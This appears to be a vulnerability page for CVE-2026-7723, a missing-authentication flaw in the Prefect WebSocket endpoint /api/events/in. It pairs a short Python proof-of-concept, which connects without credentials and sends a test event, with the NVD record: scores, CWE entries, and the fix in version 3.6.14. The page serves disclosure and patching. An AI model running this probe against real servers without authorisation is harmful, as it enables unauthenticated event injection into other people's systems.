CVE-2026-7723

import asyncio import websockets import json async def send_unauthenticated_event(target_url): """ Proof of Concept for CVE-2026-7723 Demonstrates sending data to the vulnerable WebSocket endpoint without authentication. """ # Construct the vulnerable endpoint path full_url = f"{target_url}/api/events/in" malicious_payload = { "event": "test", "data": "unauthenticated_access" } try: # Connect to the WebSocket endpoint (No headers or tokens required) async with websockets.connect(full_url) as websocket: print(f"[+] Connected to {full_url}") # Send the payload await websocket.send(json.dumps(malicious_payload)) print(f"[+] Payload sent: {malicious_payload}") # Optional: Receive response response = await websocket.recv() print(f"[+] Server response: {response}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": # Replace with the actual target address target = "ws://<TARGET_IP>:<PORT>" asyncio.run(send_unauthenticated_event(target))

{"cve": {"id": "CVE-2026-7723", "sourceIdentifier": "[email protected]", "published": "2026-05-04T03:16:13.143", "lastModified": "2026-05-04T22:16:19.943", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw has been found in PrefectHQ prefect up to 3.6.13. Affected is an unknown function of the file /api/events/in of the component WebSocket Endpoint. Executing a manipulation can lead to missing authentication. The attack may be performed from remote. The exploit has been published and may be used. Upgrading to version 3.6.14 is able to address this issue. This patch is called f8afecadf88ea5f73694dafa3a365b9d8fae1ad6. It is recommended to upgrade the affected component. The vendor was contacted early, responded in a very professional manner and quickly released a fixed version of the affected product."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 3.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "baseScore": 7.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "HIGH", "exploitabilityScore": 10.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-287"}, {"lang": "en", "value": "CWE-306"}]}], "references": [{"url": "https://gist.github.com/nedlir/f1ab8aa038aafbcc6beeef21fab1d74f", "source": "[email protected]"}, {"url": "https://github.com/PrefectHQ/prefect/", "source": "[email protected]"}, {"url": "https://github.com/PrefectHQ/prefect/commit/f8afecadf88ea5f73694dafa3a365b9d8fae1ad6", "source": "[email protected]"}, {"url": "https://github.com/PrefectHQ/prefect/pull/20372", "source": "[email protected]"}, {"url": "https://github.com/PrefectHQ/prefect/releases/tag/3.6.14", "source": "[email protected]"}, {"url": "https://vuldb.com/submit/807256", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/360899", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/360899/cti", "source": "[email protected]"}]}}